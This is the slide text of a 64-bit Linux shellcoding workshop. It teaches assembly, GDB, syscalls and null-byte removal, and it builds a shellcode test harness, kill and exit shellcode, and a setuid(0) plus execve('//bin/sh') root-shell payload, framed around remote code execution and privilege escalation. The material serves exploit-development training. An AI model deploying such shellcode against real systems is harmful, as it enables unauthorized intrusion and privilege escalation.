Shellcoding Lab 64 BIT (0x0f05)

0x7E0 @ berlinsides edition by dash



Wait! What?

- no it is still *not* shellscripting
- name comes from gaining a shell
- instructions are passed to cpu
- no extra compiling or linking needed
- → if injected into a process

Typical Usage

Remote:

- you want to gain code execution remotely

Local:

privilege escalation

Userland:

Pretty playing, good training

Is this fun?!

- Enjoying assembly!
- → great to understand whats going on
- → coming from C its easy for you
- Exploit some or everything!
- → no chance without understanding a piece of assembly

Is this fun?!

- Own a careless internet user!
- → I have this awesome ssh remote r00t here
- Be on a uberc00l hacker con and blather about!
- → Hi Aluc!

Basics

- 64Bit *is* different from 32Bit
- 64Bit / 8 byte / 16 nibble
- different calling convention
- different usage of registers
- different syscall numbers

Registers

- So, we have 64Bit Registers now!
- 16 Registers there are, young Padawan.
- → instead of having 8 on IA-32
- new Registers (almost) new names
- some look quite familiar

Registers (from Wikipedia)



32BIT → 64BIT

EAX → RAX – Accumulator

ECX → RCX — Count Register

EDX → RDX – Data Register

EBX → RBX — Base Register

ESI → RSI — Stream Source

EDI → RDI — Stream Destination

ESP → RSP — Stack Pointer

EBP → RBP - Base Pointer

Registers

RAX – Accumulator

RCX – Count Register

RDX – Data Register

RBX - Base Register

RSI – Stream Source

RDI – Stream Dest.

R8 – R15 (new)

RSP – Stack Pointer

→ Points to next instruction

RBP – Base Pointer

→ start of current stack frame

A lot of words

- b is byte (yes, 1 whole byte;))
- w is word (2 byte)
- d double word (4 byte)
- q quad word (8 byte)
- → *note* there is no rXq for full addressing, its rX (e.g. r10)
- \rightarrow also former general purpose registers go by their former name (e.g. rax \rightarrow eax \rightarrow ax \rightarrow ah \rightarrow al)
- → *note* for GDB it's giant word (e.g. x/20g \$rsp)

Registers – Syscall Arguments

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R9	6. Argument	

Registers

- Different types of addressing!
- Register ↔ Argument!
- RAX also gets a return value (if not void)
- Legacy Registers just have an R now
- → simple, no?

xor rax, rax

- → null out register / xor register with value mov rax, 60
- → copy decimal 60 into rax register xchg rax,rbx
- → exchange register with register

inc rax

 \rightarrow increase (+1) in rax

dec rax

→ decrease (-1) in rax

nop

→ mostly known from exploits, "no operation"

add rax,1

→ plus one to rax

sub rax,1

→ subtract one from rax

adc rax,1

→ add one to rax, but also check carry flag

jmp

→ go to a subfunction (short jmp 1byte / near jmp 2byte)

call h3ll

→ calls a subfunction

ret

→ this re-establishes stack pointer, (mov rsp, rbp)

push 0x41424344

- → push 4 byte on the stack pop rsi
- → get the data from stack and fill it into rsi
- → stack consumption decreases to higher address syscall
- → it is NOT anymore int 0x80, we just use 'syscall'

Now

→ 0x0f05 is the bytecode (not anymore 0xcd80)

Cold Water plz

BITS 64

global _start

start:

mov r10b,10

mov r10,10

mov r9,9

mov r11w,8000

mov r12d,0x41424344

mov r13,0x4142434445464748

xor rax, rax

mov al, 60

syscall

Compile it:

- 1. nasm -f elf64 -o test.o test.asm
- 2. nasm -f elf64 -o test2.o test.asm -O0

Compare both in objdump:

- 1. objdump -d test.o -M intel
- 2. objdump -d test2.o -M intel

Whats going on here?

Cold Water plz With Optimization W/O Optimization

0: 41 b2 0a mov r10b,0xa
3: 41 ba 0a 00 00 00 mov r10d,0xa
9: 41 ba 0a 00 00 00 mov r10d,0xa

f: 41 b9 09 00 00 00 mov r9d,0x9

15: 66 41 bb 40 1f mov r11w,0x1f40

1a: 41 bc 44 43 42 41 mov r12d,0x41424344

20: 49 bd 48 47 46 45 44 movabs r13.0x4142434445464748

27: 43 42 41

2a: 48 31 c0 xor rax,rax

2d: b0 3c mov al,0x3c

2f: 0f 05 syscall

0: 41 b2 0a mov r10b,0xa 3: 49 ba 0a 00 00 00 movabs r10,0xa a: 00 00 00

d: 49 ba 0a 00 00 00 00 movabs r10,0xa

14: 00 00 00

17: 49 b9 09 00 00 00 00 movabs r9,0x9

1e: 00 00 00

21: 66 41 bb 40 1f mov r11w,0x1f40

26: 41 bc 44 43 42 41 mov r12d,0x41424344

2c: 49 bd 48 47 46 45 44 movabs

r13,0x4142434445464748

33: 43 42 41

36: 48 31 c0 xor rax,rax

39: b0 3c mov al,0x3c

3b: 0f 05 syscall

Recap

- if not stated otherwise nasm will optimize the code
- use -O0 to disable optimization
- if you addressed rax, but the code uses eax, check for enabled optimization
- → check for different results with and without optimization

Gdb - short

- gnu debugger
- available on all linux platforms and most unix*s
- not as nice as immunity debugger, but it does its job
- gdb ./<name> -q
- quitemode, we dont need the rest
- normal mode of gdb
- most commands have abbreviations

Gdb - short

- break / b
- → set breakpoints, break _start / break main
- run / r
- → run forrest run!
- info registers / i r
- → show general purpose registers and segments
- disassembly / disas
- → current position in code

GDB

```
$ gdb ./xchg -q
Reading symbols from ./xchg...(no debugging symbols found)...done.
(gdb) break _start
Breakpoint 1 at 0x400080
(gdb) run
Starting program: /home/user//Shellcode-Lab/64BIT/exchange_registers/xchg
Breakpoint 1, 0x0000000000400080 in start ()
(gdb) disas
Dump of assembler code for function _start:
=> 0x0000000000400080 <+0>: xor rax,rax
 0x0000000000400083 <+3>:
                             xor rbx,rbx
 0x0000000000400086 <+6>:
                             movabs rax,0x29a
 0x0000000000400090 <+16>:
                             movabs rbx,0x539
 0x000000000040009a <+26>:
                             movabs r10,0xbeefbeefbeef
 0x00000000004000a4 <+36>:
                              xchg r10,rax
 0x00000000004000a6 <+38>:
                              xchg r9,r10
 0x00000000004000a9 <+41>:
                              xchg rbx,rax
 0x00000000004000ab <+43>:
                              xchg rsp,rdi
End of assembler dump.
```

```
(gdb) info registers
        0x0
       0x0
       0x0
       0x0
       0x0
       0x0
             0x0
        0x0
       0x7ffffffea40 0x7ffffffea40
        0x0
        0x0
r10
        0x0
       0x0
r11
r12
        0x0
r13
        0x0
        0x0
r15
        0x0
       0x400080 0x400080 <_start>
       0x202 [IF]
       0x33 51
       0x2b
       0x0
       0x0
       0x0
       0x0
```

Gdb - short

- step / s
- → until exit from function
- stepi / si
- → step instructions (we want that!)
- i r rax rbx r10
- → info registers only accumulator, base and r10
- → press enter again
- → last command will be repeated

Gdb Intro

```
Breakpoint 1, 0x0000000000400080 in start ()
0x00000000000400083 in _start ()
(qdb) disas
Dump of assembler code for function _start:
 0x0000000000400080 <+0>: xor rax,rax
 0x000000000400086 <+6>: movabs rax,0x29a
 0x000000000400090 <+16>: movabs rbx,0x539
 0x0000000040009a <+26>: movabs r10,0xbeefbeefbeef
 0x00000000004000a4 <+36>: xchg r10,rax
 0x00000000004000a6 <+38>: xchg r9,r10
End of assembler dump.
0x00000000000400086 in _start ()
0x00000000000400090 in start ()
Dump of assembler code for function _start:
 > 0x0000000000400090 <+16>: movabs rbx,0x539
 0x00000000040009a <+26>: movabs r10,0xbeefbeefbeef
 0x00000000004000a4 <+36>: xchg r10,rax
 0x00000000004000a9 <+41>: xchg rbx,rax
0x00000000004000ab <+43>: xchg rsp,rdi
End of assembler dump.
```

```
(gdb) info registers rax rbx rcx
         0x29a 666
rax
         0x0
                0
rbx
         0x0
                0
rcx
(gdb) si
0x000000000040009a in start ()
(gdb)
0x00000000004000a4 in start ()
(gdb)
0x00000000004000a6 in start ()
(gdb) info registers rax rbx rcx
         Oxbeefbeefbeef
-4688318750159552785
         0x539 1337
rbx
         0x0
                0
rcx
```

GDB Intro

```
BITS 64
global _start
start:
xor rax, rax
xor rbx, rbx
mov rax, 0x29A; http://web.textfiles.com/ezines/29A/
mov rbx, 0x539
mov r10, 0xBEEFBEEFBEEF
xchg rax, r10
xchg r10, r9
xchg rbx, rax
xchg rdi,rsp
```

Compile it:

\$ nasm -f elf64 -o xchg.o xchg.asm -O0

\$ ld -o xchg xchg.o

Debug it with gdb.

Byte Placement

- please check the both example codes in gdb
- → byte_placement_rax.asm
- → byte_placement_r10.asm
- what is the difference?

Syscall Examples

32BIT

exit 1

• read 3

• write 4

• open 5

• close 6

• execve 11

• chdir 12

chmod 15

• setuid 23

• kill 37

• reboot 88

• socket 102

• connect 102

accept 102

• bind 102

• listen 102

64Bit

exit 60

read 0

write 1

open 2

• close 3

• execve 59

• chdir 80

• chmod 90

setuid 105

• kill 62

• reboot 169

socket 41

connect 42

• accept 43

• bind 49

• listen 50

Syscall

- What is a syscall?
- *nix using Syscalls!
- man 2 syscall
- Quite some differences in number 32/64bit

/usr/include/asm/unistd_32.h /usr/include/asm/unistd_64.h

Registers – Syscall Arguments

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Syscall: exit

- man 2 exit
- void exit (int status)
- look up the syscall in unistd_64
- 60 or 3Ch
- we have one argument and no return code

Convert decimal to hex

```
- python to rescue
python -c 'print hex(60)'
0x3c
```

- commandline

\$ bc

obase=16

60

3C

- a million ways to do that (you could also do that in javascript ;))

Syscall: exit

Bits 64
global _start

start:

mov rax,0x3C mov rdi,4 syscall nasm -f elf64 exit.asm -o exit.o ld -o exit exit.o

\$./exit ; echo \$?



Syscall: exit (nasm optimized)

```
Bits 64
global _start
; label _start
_start:

mov rax,0x3C; mov 60 to RAX
mov rdi,4; mov 4 into RDI
syscall; execute the syscall
```

```
nasm -f elf64 exit.asm -o exit.o
ld -o exit exit.o
```

```
$ ./exit ; echo $?
4
```

```
0000000000400080 <_start>:

400080: b8 3c 00 00 00 mov eax,0x3c

400085: bf 04 00 00 00 mov edi,0x4

40008a: 0f 05 syscall
```

Syscall: exit (nasm un-optimized -O0)

```
Bits 64
global _start
; label _start
_start:

mov rax,0x3C; mov 60 to RAX
mov rdi,4; mov 4 into RDI
syscall; execute the syscall
```

```
nasm -f elf64 exit.asm -o exit.o -O0
ld -o exit exit.o
```

```
$ ./exit ; echo $?
4
```

```
0000000000400080 < start>:
           48 31 c0
400080:
                                 rax,rax
           48 31 d2
400083:
                                 rdx,rdx
           b8 3c 00 00 00
400086:
                            mov eax,0x3c
40008b:
           ba 04 00 00 00
                                  edx,0x4
                            mov
           0f 05
400090:
                            syscall
```

Exploit Skeleton

```
#include <stdio.h>
#include <string.h>
unsigned char code[] ="shellcode wants to be placed here!";
main()
  printf("Shellcode Len: %d\n", (int)strlen(code));
 int (*ret)() = (int(*)())code;
 ret();
```

Syscall: exit

```
    Linux Command Chain (Command Line Fu)
```

\$ objdump -d ./exit|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ \$//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/|sed 's/\$/"/g'

-Shellnoob Tool

\$ shellnoob.py --from-obj exit --to-c exit.c

char shellcode[] = "\xb8\x3c\x00\x00\x00\x00\x04\x00\x00\x00\x06\x05";

- Place the shellcode and compile the skeleton

\$ gcc -z execstack skeleton.c -o exit_shell

- Execute it

\$./exit_shell

shellcode len: 2

Why god, whyyy?

- Why is the shellcode not working?
- For some reason the length is too short...
- Reasons:
- * compiled it without -z execstack
- * null bytes in the code

Nullbytes

- The shellcode won't work this way!
- First we need to get rid of all nullbytes!
- Use only the parts of a register which are needed!
- Try to find alternative ways to use 0 without generating a null byte!

Nullbytes

------ Write a shellcode without nullbytes! ------

Syscall: exit (non-optimized by nasm)

```
Bits 64
global _start

_start:

xor rax,rax
xor rdx,rdx
mov al,0x3C
```

```
nasm -f elf64 exit.asm -o exit.o -O0
ld -o exit exit.o
```

```
$ ./exit ; echo $?
4
```

```
000000000400080 < start>:
400080:
           48 31 c0
                             xor
                                 rax,rax
400083:
           48 31 d2
                                 rdx,rdx
           b0 3c
400086:
                                  al,0x3c
           40 b7 04
400088:
                                  dil,0x4
40008b:
           0f 05
                            syscall
```

mov

syscall

dil,4

Exit Shellcode in Skeleton

```
//btw. if variable shellcode is const, its placed in a different segment and -z execstack is not needed
gcc skeleton.c -o exit -z execstack
./exit shell ;echo $?
shellcode len: 13
/* skeleton for shellcode testing
 dash@hack4.org
#include <stdio.h>
#include <string.h>
main()
 printf("Shellcode Len: %d\n", (int)strlen(code));
 int (*ret)() = (int(*)())code;
 ret();
```



8BIT Registers (oh there they are)

- You remember Wikipedia saying there is not 8Bit addressing?
- Well, lets check that again.

8Bit Registers

BITS 64

global start

start:

mov spl, 1

mov bpl, 2

mov sil, 3

mov dil, 4

nasm -f elf64 8bit.asm -o 8bit.o -O0 ld -o 8bit 8bit.o

400080: 40 b4 01 mov spl,0x1

400083: 40 b5 02 mov bpl,0x2

400086: 40 b6 03 mov sil,0x3

400089: 40 b7 04 mov dil,0x4

8BIT Registers (oh they **are** there)

- So, if you want to address 1byte only – go with that.



Lessons learned

- how to address registers
- use objdump to check your shellcode
- workaround if addressing registers gets nasty
- avoid nullbytes
- keep in mind execstack / noexecstack
- or set char shellcode to constant

Syscall: kill

- man 2 kill (what a cmdline)
- int kill(pid_t pid, int sig);
- pid process id
- sig signal

Syscall: kill

```
BITS 64
global _start
start:
xor rax, rax
xor rdi, rdi
xor rsi, rsi
; fill arguments for syscall kill
mov dil, XXXX ; first argument
mov sil, XXXX ; second argument
mov al, XXXX ; syscall nr
syscall
```

nasm -f elf64 kill.asm -o kill.o -O0 ld -o kill kill.o

\$ \$ Killed

Syscall: kill (nasm un-optimized)

```
0000000000400080 <_start>:
```

400080: 48 31 c0 xor rax,rax

400083: 48 31 ff xor rdi,rdi

400086: 48 31 f6 xor rsi,rsi

400089: 40 b7 01 mov dil,0x1

40008c: 40 b6 09 mov sil,0x9

40008f: b0 3e mov al,0x3e

400091: 0f 05 syscall

nasm -f elf64 kill_noexit.asm -o kill_noexit.o -O0

ld -o kill_noexit kill_noexit.o

\$ process>

Killed



Syscall: kill

```
$ ./kill noexit
Segmentation fault (core dumped)
$ strace ./kill noexit
execve("./kill noexit", ["./kill noexit"], [/* 29 vars */]) = 0
kill(1, SIGKILL)
                              = -1 EPERM (Operation not
permitted)
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR,
si addr=0x9} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault (core dumped)
```

Syscall: kill

- What happens if you don't have a exit call
- Not only killing a process also:
- → restart, read config, stop or continue
- Killer Shellcode? Kill all processes on the box
- → Don't do that :)

Push

- Push values on the stack
- Yes, you get them into a register with pop
- byte/word/dword/(giant?)

```
[...]

push 0x41

push 0x4142

push 0x41424344

push 0x4142434445464748

[/..]
```

nasm -f elf64 push.asm -o push.o; ld -o push push.o push.asm:14: warning: signed dword immediate exceeds bounds

Push

```
BITS 64
global start
start:
push 0x41
push 0x4142
push 0x41424344
; lets comment that out
 push 0x4142434445464748 ← try to compile it with
                        ----- null byte free version:
BITS 64
global _start
start:
push byte 0x41
push word 0x4142
push dword 0x41424344
```

nasm -f elf64 push.asm -o push.o -O0; ld -o push push.o

Push on 64 Bit

- Yes, it makes sense to specify what will be pushed
- → byte / word / dword
- Yes, on 32Bit you can push 4 bytes
- You cannot push 8byte onto the stack at 64Bit
- You need to work around it
- Simple mov is enough, drawback is more bytecode

Push

```
BITS 64
global _start
_start:
xor rax, rax ; clear register
; place 8byte in register rax
mov rax, 0x4142434445464748
; push it on the stack
push rax
```

nasm -f elf64 push_mov.asm -o push_mov.o -O0; ld -o push_mov push_mov.o



Recap: Push on 64 Bit

- < 5 byte push:</p>
- → byte / word / dword
- > 4 byte push:

mov rax, 0x4142434445464748

push rax

Syscall: write

- lets look into how to push strings on the stack
- print it to the current shell
- look up the syscall write man 2 write
- systemcall from unistd._64.h

Syscall: Write

- ssize_t write(int fd, const void *buf, size_t count);
- syscall nr is 1 or 0x1
- 3 Arguments
- we don't care about the return value
- write to stdout (stdin/stdout/stderr 0/1/2)
- string is pushed on the stack
- you need the length of the string

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R9	6. Argument	

Push strings

How to place a string on the stack:

- terminate the string
- newline the string (0x0a)
- record the length
- convert string to hex
- print string backwards in hex
- split it into byte size of registers you use
- easy no?

Push strings

```
Short version board tools (all in one):
print a[::-1].encode('hex')
Well...long version with extra library loaded:
In [11]: print a
- shellcoding at hack4 in 2015 -
In [12]: print a[::-1]
- 5102 ni 4kcah ta gnidocllehs -
convert it to hex:
import binascii
binascii.hexlify(a[::-1])
2d2035313032206e6920346b63616820746120676e69646f636c6c656873202d
```



Syscall: Write (Warning: the string in the code might be different)

```
global start
xor rax, rax ; clear register
xor rdi, rdi ; clear register
push rax ; ends the string
mov rax, 0x0a2035313032206e; trick to place 8byte on the stack
oush rax
                     ; push it
mov rbx, 0x6920346b63616820 ; same same, but different
mov rcx. 0x746120676e69646f
mov rdx, 0x636c6c6568732020
oush rdx
             ; move address of stack pointer to our 2nd argument
xor rax, rax ; clean the register
             ; move syscall write into accumulator register
mov al,1
           arg 1, increment xor'ed register to stdout
xor rdx, rdx
add dl,byte 32
xor rdi, rdi
```

```
0000000000400080 < start>:
            48 31 c0
                                      rax.rax
            48 31 ff
                                  push rax
            48 b8 6e 20 32 30 31 movabs rax.0xa2035313032206e
            35 20 0a
 400091:
            50
                                 push rax
            48 bb 20 68 61 63 6b movabs rbx,0x6920346b63616820
            34 20 69
 40009c:
            53
                                 push rbx
                                movabs rcx,0x746120676e69646f
            48 b9 6f 64 69 6e 67
 4000a4:
            20 61 74
 4000a7:
            51
                                  push rcx
            48 ba 20 20 73 68 65 movabs rdx,0x636c6c6568732020
 4000af:
           6c 6c 63
 4000b2:
            52
                                 push rdx
            48 89 e6
                                       rsi,rsp
 4000b6:
            48 31 c0
                                      rax,rax
            b0 01
                                      al,0x1
            66 ff c7
                                 inc di
 4000be:
            48 31 d2
                                      rdx.rdx
            80 c2 20
                                 add dl.0x20
 4000c4:
            0f 05
            b0 3c
                                      al.0x3c
            48 31 ff
                                xor rdi,rdi
 4000cb:
            0f 05
```

Recap

- How to push strings on the stack
- Backwards/Hex
- We cannot push 8 byte
- → use mov
- Remember the string terminator

Syscall: Execve

- int execve(const char *filename, char *const argv[], char *const envp[]);
- how to print it in hex backwards another method:
- > a="//bin/sh"
- > print a[::-1].encode('hex')
- > 68732f6e69622f2f
- syscall execve from unistd_64:

59 or 3Bh

Syscall: Execve

```
xor rax, rax
                               ; null terminator for the string
push rax
      rbx, XXXXXXXXXXX ; //bin/sh backwards
push rbx
                               ; move address from stack pointer to first
mov rdi, rsp
argument
push rax
push rdi
                               ; actually we would not need this one
           rsi, rsp
                               ; move the address to the 2nd argument
mov
           rdx, rax
                               ; no envp necessary
mov
           al,X
                               ; execve into rax
mov
```

```
0: 48 31 c0
                  xor
                       rax,rax
 3: 50
                  push rax
 4: 48 bb ..... movabs
rbx,0xXXXXXXXXXXXXXXX
 B: .......
 e: 53
                  push rbx
 f: 48 89 e7
                  mov rdi,rsp
12: 50
                  push rax
13: 57
                  push rdi
14: 48 89 e6
                  mov rsi,rsp
17: 48 89 c2
                  mov rdx,rax
1a: b0 3b
                  mov al,....
1c: Of 05
                  syscall
```

Syscall: Execve

- gain a shell via it
- still same user privileges
- gaining a root shell needs us to use setuid syscall

Execve + Setuid

- Ok. Now setuid(0) call needs to be added
- You want to have r00t, don't you?



Execve + Setuid

xor rax, rax
push rax
pop rdi
add al,0x69
syscall

; add the execve shellcode, here

<_start>:
48 31 c0 xor rax,rax
50 push rax
5f pop rdi
04 69 add al,0x69
0f 05 syscall

Execve + Setuid

- Simple extra call, now a r00t shell. Easy as that.



Other important syscalls

- everything in regard of sockets
- setuid / setgid / seteuid / setegid
- open / close / read / write
- fork / clone / chdir
- strongly depends on what you want to do

Other Shellcodes

- Now, the real fun part starts here:
- → bindshells
- → reverse shells
- → encoders / crypters / polymorphism
- → password protection
- But not today sorry ;)

Fin.

